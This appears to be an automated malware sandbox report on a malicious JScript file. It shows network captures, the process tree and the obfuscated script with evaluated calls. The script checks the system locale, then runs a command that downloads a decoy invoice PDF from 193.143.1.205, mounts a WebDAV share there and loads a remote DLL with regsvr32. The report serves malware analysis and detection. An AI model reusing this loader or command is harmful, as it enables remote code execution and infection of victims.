Jan 11, 2025 02:04:53.098010063 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 02:04:53.098061085 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 02:04:53.098093987 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 02:04:53.098129034 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 02:04:53.098165035 CET	776	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 02:04:53.152924061 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6436	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:04:54.590807915 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:04:55.400715113 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:04:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:04:44
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js"
Imagebase:	0x7ff699c80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:04:45
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Imagebase:	0x7ff601150000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:04:45
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:04:45
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:04:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:04:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff601150000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:04:53
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6fa1e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:04:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:04:54
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:04:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1744,i,11788322712337873979,12404227465735840638,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function pvtfo() {	pvtfo() ➔ undefined
1	vuhrdsud = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wtlfnfmn = this[exirfr + cbawehx + zhhtjf + rcmfcha + bgpnamxha + lhonqwq + spjdpmv + vujipwfdo] ( this[ljuouto + xttuarqz + cnwqh + zhhtjf + hykeurb + exirfr + vujipwfdo][vwbfdu + zhhtjf + bgpnamxha + cbawehx + vujipwfdo + bgpnamxha + kmpokquoj + gndif + mbodbv + bgpnamxha + cnwqh + vujipwfdo] ( ljuouto + xttuarqz + cnwqh + zhhtjf + hykeurb + exirfr + vujipwfdo + wlrztuzne + xttuarqz + jhiykq + bgpnamxha + wwqgbhuwv + wwqgbhuwv ) [hphnicj + bgpnamxha + znfvzxs + hphnicj + bgpnamxha + cbawehx + bdhnu] ( loytd + pbymslg + vjclwebx + kylieugln + cvlfrr + vwbfdu + ojnft + hphnicj + hphnicj + vjclwebx + nbbdofeb + qhrvg + cvlfrr + ojnft + xttuarqz + vjclwebx + hphnicj + pserxii + vwbfdu + exnuonrlk + spjdpmv + vujipwfdo + zhhtjf + exnuonrlk + wwqgbhuwv + yorac + jmeuuydw + cbawehx + spjdpmv + bgpnamxha + wwqgbhuwv + pserxii + lhonqwq + spjdpmv + vujipwfdo + bgpnamxha + zhhtjf + spjdpmv + cbawehx + vujipwfdo + hykeurb + exnuonrlk + spjdpmv + cbawehx + wwqgbhuwv + pserxii + wdhpny + exnuonrlk + cnwqh + cbawehx + wwqgbhuwv + bgpnamxha ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rvmxry = 0 ; rvmxry < vuhrdsud[wwqgbhuwv + bgpnamxha + spjdpmv + znfvzxs + vujipwfdo + jhiykq] ; ++ rvmxry )
4	{
5	if ( wtlfnfmn == vuhrdsud[rvmxry] )
6	{
7	wtlfnfmn = true;
8	break ;
9	}
10	}
11	if ( wtlfnfmn !== true )
12	this[ljuouto + xttuarqz + cnwqh + zhhtjf + hykeurb + exirfr + vujipwfdo][rtkjs + uliyvuelo + hykeurb + vujipwfdo] ( );
13	this[ljuouto + xttuarqz + cnwqh + zhhtjf + hykeurb + exirfr + vujipwfdo][vwbfdu + zhhtjf + bgpnamxha + cbawehx + vujipwfdo + bgpnamxha + kmpokquoj + gndif + mbodbv + bgpnamxha + cnwqh + vujipwfdo] ( ljuouto + xttuarqz + cnwqh + zhhtjf + hykeurb + exirfr + vujipwfdo + wlrztuzne + xttuarqz + jhiykq + bgpnamxha + wwqgbhuwv + wwqgbhuwv ) [zhhtjf + uliyvuelo + spjdpmv] ( cnwqh + cjzxpyu + bdhnu + yorac + uelavibkw + cnwqh + yorac + exirfr + exnuonrlk + pjcqsns + bgpnamxha + zhhtjf + rcmfcha + jhiykq + bgpnamxha + wwqgbhuwv + wwqgbhuwv + wlrztuzne + bgpnamxha + awpwb + bgpnamxha + yorac + wuozsw + vwbfdu + exnuonrlk + cjzxpyu + cjzxpyu + cbawehx + spjdpmv + bdhnu + yorac + dbtrfiwn + lhonqwq + spjdpmv + mnsgptzd + exnuonrlk + tsshyl + bgpnamxha + wuozsw + ljuouto + bgpnamxha + gndif + hphnicj + bgpnamxha + kiyterwm + uliyvuelo + bgpnamxha + rcmfcha + vujipwfdo + yorac + wuozsw + kmpokquoj + uliyvuelo + vujipwfdo + ebtqs + hykeurb + wwqgbhuwv + bgpnamxha + yorac + dpefvnnb + vujipwfdo + bgpnamxha + cjzxpyu + exirfr + dpefvnnb + pserxii + hykeurb + spjdpmv + mnsgptzd + exnuonrlk + hykeurb + cnwqh + bgpnamxha + wlrztuzne + exirfr + bdhnu + ogjrsfsv + yorac + jhiykq + vujipwfdo + vujipwfdo + exirfr + uwzdbqt + uelavibkw + uelavibkw + nkwgd + sygidifap + fmffu + wlrztuzne + nkwgd + narpsnn + fmffu + wlrztuzne + nkwgd + wlrztuzne + hdpcokqwk + izxnkggq + ewbpsj + uelavibkw + hykeurb + spjdpmv + mnsgptzd + exnuonrlk + hykeurb + cnwqh + bgpnamxha + wlrztuzne + exirfr + jhiykq + exirfr + dbtrfiwn + bodjnrb + bodjnrb + rcmfcha + vujipwfdo + cbawehx + zhhtjf + vujipwfdo + yorac + dpefvnnb + vujipwfdo + bgpnamxha + cjzxpyu + exirfr + dpefvnnb + pserxii + hykeurb + spjdpmv + mnsgptzd + exnuonrlk + hykeurb + cnwqh + bgpnamxha + wlrztuzne + exirfr + bdhnu + ogjrsfsv + bodjnrb + bodjnrb + cnwqh + cjzxpyu + bdhnu + yorac + uelavibkw + cnwqh + yorac + spjdpmv + bgpnamxha + vujipwfdo + yorac + uliyvuelo + rcmfcha + bgpnamxha + yorac + pserxii + pserxii + nkwgd + sygidifap + fmffu + wlrztuzne + nkwgd + narpsnn + fmffu + wlrztuzne + nkwgd + wlrztuzne + hdpcokqwk + izxnkggq + ewbpsj + pejidwvv + esmxf + esmxf + esmxf + esmxf + pserxii + bdhnu + cbawehx + mnsgptzd + pjcqsns + pjcqsns + pjcqsns + zhhtjf + exnuonrlk + exnuonrlk + vujipwfdo + pserxii + bodjnrb + bodjnrb + cnwqh + cjzxpyu + bdhnu + yorac + uelavibkw + cnwqh + yorac + zhhtjf + bgpnamxha + znfvzxs + rcmfcha + mnsgptzd + zhhtjf + fmffu + hdpcokqwk + yorac + uelavibkw + rcmfcha + yorac + pserxii + pserxii + nkwgd + sygidifap + fmffu + wlrztuzne + nkwgd + narpsnn + fmffu + wlrztuzne + nkwgd + wlrztuzne + hdpcokqwk + izxnkggq + ewbpsj + pejidwvv + esmxf + esmxf + esmxf + esmxf + pserxii + bdhnu + cbawehx + mnsgptzd + pjcqsns + pjcqsns + pjcqsns + zhhtjf + exnuonrlk + exnuonrlk + vujipwfdo + pserxii + hdpcokqwk + ewbpsj + izxnkggq + nbyld + izxnkggq + hdpcokqwk + fmffu + fmffu + esmxf + nbyld + sygidifap + hdpcokqwk + narpsnn + nkwgd + wlrztuzne + bdhnu + wwqgbhuwv + wwqgbhuwv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll",0,false) ➔ 0
14	}
15	qhrvg = "j";
16	qhrvg = "O";
17	qhrvg = "F";
18	qhrvg = "v";
19	qhrvg = "T";
20	uelavibkw = "o";
21	uelavibkw = "j";
22	uelavibkw = "O";
23	uelavibkw = "n";
24	uelavibkw = "i";
25	uelavibkw = "W";
26	uelavibkw = "x";
27	uelavibkw = "b";
28	uelavibkw = "L";
29	uelavibkw = "x";
30	uelavibkw = "T";
31	uelavibkw = "B";
32	uelavibkw = "B";
33	uelavibkw = "k";
34	uelavibkw = "h";
35	uelavibkw = "j";
36	uelavibkw = "x";
37	uelavibkw = "l";
38	uelavibkw = "M";
39	uelavibkw = "r";
40	uelavibkw = "/";
41	yorac = "B";
42	yorac = "x";
43	yorac = "M";
44	yorac = "k";
45	yorac = "Q";
46	yorac = "C";
47	yorac = "H";
48	yorac = "o";
49	yorac = "T";
50	yorac = "Y";
51	yorac = "b";
52	yorac = "A";
53	yorac = "W";
54	yorac = "i";
55	yorac = "P";
56	yorac = "q";
57	yorac = "M";
58	yorac = "o";
59	yorac = "D";
60	yorac = "u";
61	yorac = "B";
62	yorac = "Q";
63	yorac = "g";
64	yorac = "h";
65	yorac = "n";
66	yorac = "u";
67	yorac = "Q";
68	yorac = " ";
69	lhonqwq = "O";
70	lhonqwq = "g";
71	lhonqwq = "h";
72	lhonqwq = "O";
73	lhonqwq = "j";
74	lhonqwq = "k";
75	lhonqwq = "f";
76	lhonqwq = "p";
77	lhonqwq = "c";
78	lhonqwq = "I";
79	lhonqwq = "v";
80	lhonqwq = "V";
81	lhonqwq = "b";
82	lhonqwq = "x";
83	lhonqwq = "I";
84	lhonqwq = "Z";
85	lhonqwq = "R";
86	lhonqwq = "b";
87	lhonqwq = "s";
88	lhonqwq = "T";
89	lhonqwq = "I";
90	lhonqwq = "d";
91	lhonqwq = "m";
92	lhonqwq = "I";
93	narpsnn = "t";
94	narpsnn = "t";
95	narpsnn = "f";
96	narpsnn = "X";
97	narpsnn = "a";
98	narpsnn = "b";
99	narpsnn = "w";
100	narpsnn = "f";
101	narpsnn = "v";
102	narpsnn = "n";
103	narpsnn = "f";
104	narpsnn = "m";
105	narpsnn = "k";
106	narpsnn = "o";
107	narpsnn = "I";
108	narpsnn = "K";
109	narpsnn = "l";
110	narpsnn = "M";
111	narpsnn = "S";
112	narpsnn = "L";
113	narpsnn = "4";
114	rcmfcha = "y";
115	rcmfcha = "r";
116	rcmfcha = "Y";
117	rcmfcha = "M";
118	rcmfcha = "n";
119	rcmfcha = "U";
120	rcmfcha = "C";
121	rcmfcha = "k";
122	rcmfcha = "P";
123	rcmfcha = "W";
124	rcmfcha = "k";
125	rcmfcha = "G";
126	rcmfcha = "C";
127	rcmfcha = "n";
128	rcmfcha = "W";
129	rcmfcha = "I";
130	rcmfcha = "M";
131	rcmfcha = "I";
132	rcmfcha = "i";
133	rcmfcha = "Y";
134	rcmfcha = "m";
135	rcmfcha = "j";
136	rcmfcha = "J";
137	rcmfcha = "i";
138	rcmfcha = "r";
139	rcmfcha = "c";
140	rcmfcha = "B";
141	rcmfcha = "v";
142	rcmfcha = "X";
143	rcmfcha = "Z";
144	rcmfcha = "e";
145	rcmfcha = "e";
146	rcmfcha = "b";
147	rcmfcha = "Z";
148	rcmfcha = "f";
149	rcmfcha = "s";
150	vjclwebx = "Z";
151	vjclwebx = "I";
152	vjclwebx = "V";
153	vjclwebx = "x";
154	vjclwebx = "c";
155	vjclwebx = "l";
156	vjclwebx = "O";
157	vjclwebx = "y";
158	vjclwebx = "W";
159	vjclwebx = "v";
160	vjclwebx = "w";
161	vjclwebx = "X";
162	vjclwebx = "o";
163	vjclwebx = "h";
164	vjclwebx = "B";
165	vjclwebx = "e";
166	vjclwebx = "x";
167	vjclwebx = "j";
168	vjclwebx = "A";
169	vjclwebx = "O";
170	vjclwebx = "O";
171	vjclwebx = "N";
172	vjclwebx = "G";
173	vjclwebx = "i";
174	vjclwebx = "J";
175	vjclwebx = "O";
176	vjclwebx = "E";
177	dbtrfiwn = "w";
178	dbtrfiwn = "T";
179	dbtrfiwn = "E";
180	dbtrfiwn = "Q";
181	dbtrfiwn = "Q";
182	dbtrfiwn = "V";
183	dbtrfiwn = "R";
184	dbtrfiwn = "e";
185	dbtrfiwn = "S";
186	dbtrfiwn = "l";
187	dbtrfiwn = "J";
188	dbtrfiwn = "I";
189	dbtrfiwn = "\"";
190	pserxii = "m";
191	pserxii = "a";
192	pserxii = "g";
193	pserxii = "C";
194	pserxii = "x";
195	pserxii = "Y";
196	pserxii = "N";
197	pserxii = "K";
198	pserxii = "Y";
199	pserxii = "t";
200	pserxii = "Z";
201	pserxii = "S";
202	pserxii = "G";
203	pserxii = "u";
204	pserxii = "\\";
205	cjzxpyu = "B";
206	cjzxpyu = "b";
207	cjzxpyu = "y";
208	cjzxpyu = "f";
209	cjzxpyu = "n";
210	cjzxpyu = "C";
211	cjzxpyu = "l";
212	cjzxpyu = "V";
213	cjzxpyu = "R";
214	cjzxpyu = "V";
215	cjzxpyu = "X";
216	cjzxpyu = "M";
217	cjzxpyu = "u";
218	cjzxpyu = "T";
219	cjzxpyu = "x";
220	cjzxpyu = "z";
221	cjzxpyu = "d";
222	cjzxpyu = "d";
223	cjzxpyu = "Q";
224	cjzxpyu = "E";
225	cjzxpyu = "L";
226	cjzxpyu = "h";
227	cjzxpyu = "r";
228	cjzxpyu = "m";
229	cjzxpyu = "L";
230	cjzxpyu = "A";
231	cjzxpyu = "y";
232	cjzxpyu = "m";
233	mbodbv = "R";
234	mbodbv = "k";
235	mbodbv = "R";
236	mbodbv = "Y";
237	mbodbv = "d";
238	mbodbv = "t";
239	mbodbv = "h";
240	mbodbv = "W";
241	mbodbv = "w";
242	mbodbv = "F";
243	mbodbv = "B";
244	mbodbv = "d";
245	mbodbv = "q";
246	mbodbv = "s";
247	mbodbv = "n";
248	mbodbv = "b";
249	mbodbv = "z";
250	mbodbv = "E";
251	mbodbv = "b";
252	mbodbv = "a";
253	mbodbv = "l";
254	mbodbv = "b";
255	mbodbv = "U";
256	mbodbv = "v";
257	mbodbv = "U";
258	mbodbv = "h";
259	mbodbv = "r";
260	mbodbv = "o";
261	mbodbv = "r";
262	mbodbv = "K";
263	mbodbv = "P";
264	mbodbv = "U";
265	mbodbv = "N";
266	mbodbv = "y";
267	mbodbv = "V";
268	mbodbv = "k";
269	mbodbv = "j";
270	fmffu = "q";
271	fmffu = "E";
272	fmffu = "J";
273	fmffu = "V";
274	fmffu = "M";
275	fmffu = "c";
276	fmffu = "t";
277	fmffu = "k";
278	fmffu = "q";
279	fmffu = "x";
280	fmffu = "e";
281	fmffu = "g";
282	fmffu = "U";
283	fmffu = "C";
284	fmffu = "k";
285	fmffu = "u";
286	fmffu = "s";
287	fmffu = "c";
288	fmffu = "c";
289	fmffu = "3";
290	loytd = "p";
291	loytd = "l";
292	loytd = "z";
293	loytd = "i";
294	loytd = "G";
295	loytd = "P";
296	loytd = "c";
297	loytd = "X";
298	loytd = "H";
299	esmxf = "y";
300	esmxf = "U";
301	esmxf = "W";
302	esmxf = "K";
303	esmxf = "Z";
304	esmxf = "H";
305	esmxf = "s";
306	esmxf = "p";
307	esmxf = "f";
308	esmxf = "R";
309	esmxf = "8";
310	pbymslg = "w";
311	pbymslg = "a";
312	pbymslg = "l";
313	pbymslg = "F";
314	pbymslg = "R";
315	pbymslg = "e";
316	pbymslg = "S";
317	pbymslg = "e";
318	pbymslg = "n";
319	pbymslg = "F";
320	pbymslg = "l";
321	pbymslg = "I";
322	pbymslg = "c";
323	pbymslg = "a";
324	pbymslg = "q";
325	pbymslg = "A";
326	pbymslg = "Z";
327	pbymslg = "R";
328	pbymslg = "K";
329	pbymslg = "H";
330	pbymslg = "B";
331	pbymslg = "S";
332	pbymslg = "d";
333	pbymslg = "f";
334	pbymslg = "I";
335	pbymslg = "P";
336	pbymslg = "e";
337	pbymslg = "I";
338	pbymslg = "C";
339	pbymslg = "y";
340	pbymslg = "B";
341	pbymslg = "l";
342	pbymslg = "V";
343	pbymslg = "B";
344	pbymslg = "Q";
345	pbymslg = "i";
346	pbymslg = "v";
347	pbymslg = "P";
348	pbymslg = "H";
349	pbymslg = "x";
350	pbymslg = "K";
351	ewbpsj = "k";
352	ewbpsj = "X";
353	ewbpsj = "x";
354	ewbpsj = "C";
355	ewbpsj = "R";
356	ewbpsj = "v";
357	ewbpsj = "T";
358	ewbpsj = "x";
359	ewbpsj = "C";
360	ewbpsj = "P";
361	ewbpsj = "m";
362	ewbpsj = "O";
363	ewbpsj = "u";
364	ewbpsj = "j";
365	ewbpsj = "B";
366	ewbpsj = "h";
367	ewbpsj = "X";
368	ewbpsj = "O";
369	ewbpsj = "M";
370	ewbpsj = "w";
371	ewbpsj = "o";
372	ewbpsj = "c";
373	ewbpsj = "k";
374	ewbpsj = "F";
375	ewbpsj = "W";
376	ewbpsj = "5";
377	wwqgbhuwv = "t";
378	wwqgbhuwv = "H";
379	wwqgbhuwv = "A";
380	wwqgbhuwv = "I";
381	wwqgbhuwv = "V";
382	wwqgbhuwv = "c";
383	wwqgbhuwv = "i";
384	wwqgbhuwv = "b";
385	wwqgbhuwv = "t";
386	wwqgbhuwv = "t";
387	wwqgbhuwv = "L";
388	wwqgbhuwv = "l";
389	dpefvnnb = "I";
390	dpefvnnb = "o";
391	dpefvnnb = "t";
392	dpefvnnb = "e";
393	dpefvnnb = "E";
394	dpefvnnb = "S";
395	dpefvnnb = "Q";
396	dpefvnnb = "e";
397	dpefvnnb = "r";
398	dpefvnnb = "R";
399	dpefvnnb = "k";
400	dpefvnnb = "k";
401	dpefvnnb = "j";
402	dpefvnnb = "c";
403	dpefvnnb = "v";
404	dpefvnnb = "N";
405	dpefvnnb = "e";
406	dpefvnnb = "S";
407	dpefvnnb = "S";
408	dpefvnnb = "s";
409	dpefvnnb = "b";
410	dpefvnnb = "H";
411	dpefvnnb = "s";
412	dpefvnnb = "I";
413	dpefvnnb = "L";
414	dpefvnnb = "N";
415	dpefvnnb = "E";
416	dpefvnnb = "g";
417	dpefvnnb = "t";
418	dpefvnnb = "G";
419	dpefvnnb = "s";
420	dpefvnnb = "V";
421	dpefvnnb = "U";
422	dpefvnnb = "T";
423	dpefvnnb = "z";
424	dpefvnnb = "N";
425	dpefvnnb = "N";
426	dpefvnnb = "A";
427	dpefvnnb = "u";
428	dpefvnnb = "e";
429	dpefvnnb = "Q";
430	dpefvnnb = "%";
431	cnwqh = "F";
432	cnwqh = "L";
433	cnwqh = "K";
434	cnwqh = "u";
435	cnwqh = "c";
436	cnwqh = "w";
437	cnwqh = "L";
438	cnwqh = "u";
439	cnwqh = "u";
440	cnwqh = "U";
441	cnwqh = "v";
442	cnwqh = "H";
443	cnwqh = "s";
444	cnwqh = "b";
445	cnwqh = "r";
446	cnwqh = "u";
447	cnwqh = "l";
448	cnwqh = "W";
449	cnwqh = "Y";
450	cnwqh = "x";
451	cnwqh = "J";
452	cnwqh = "c";
453	kmpokquoj = "d";
454	kmpokquoj = "F";
455	kmpokquoj = "U";
456	kmpokquoj = "P";
457	kmpokquoj = "N";
458	kmpokquoj = "L";
459	kmpokquoj = "l";
460	kmpokquoj = "e";
461	kmpokquoj = "j";
462	kmpokquoj = "M";
463	kmpokquoj = "f";
464	kmpokquoj = "z";
465	kmpokquoj = "s";
466	kmpokquoj = "O";
467	spjdpmv = "g";
468	spjdpmv = "T";
469	spjdpmv = "p";
470	spjdpmv = "t";
471	spjdpmv = "x";
472	spjdpmv = "N";
473	spjdpmv = "N";
474	spjdpmv = "M";
475	spjdpmv = "M";
476	spjdpmv = "m";
477	spjdpmv = "P";
478	spjdpmv = "D";
479	spjdpmv = "a";
480	spjdpmv = "n";
481	spjdpmv = "f";
482	spjdpmv = "i";
483	spjdpmv = "g";
484	spjdpmv = "g";
485	spjdpmv = "K";
486	spjdpmv = "g";
487	spjdpmv = "g";
488	spjdpmv = "j";
489	spjdpmv = "q";
490	spjdpmv = "x";
491	spjdpmv = "U";
492	spjdpmv = "r";
493	spjdpmv = "q";
494	spjdpmv = "D";
495	spjdpmv = "l";
496	spjdpmv = "T";
497	spjdpmv = "m";
498	spjdpmv = "K";
499	spjdpmv = "C";
500	spjdpmv = "C";
501	spjdpmv = "L";
502	spjdpmv = "S";
503	spjdpmv = "b";
504	spjdpmv = "h";
505	spjdpmv = "S";
506	spjdpmv = "D";
507	spjdpmv = "x";
508	spjdpmv = "n";
509	ojnft = "A";
510	ojnft = "s";
511	ojnft = "j";
512	ojnft = "j";
513	ojnft = "k";
514	ojnft = "I";
515	ojnft = "Y";
516	ojnft = "U";
517	ojnft = "h";
518	ojnft = "r";
519	ojnft = "D";
520	ojnft = "g";
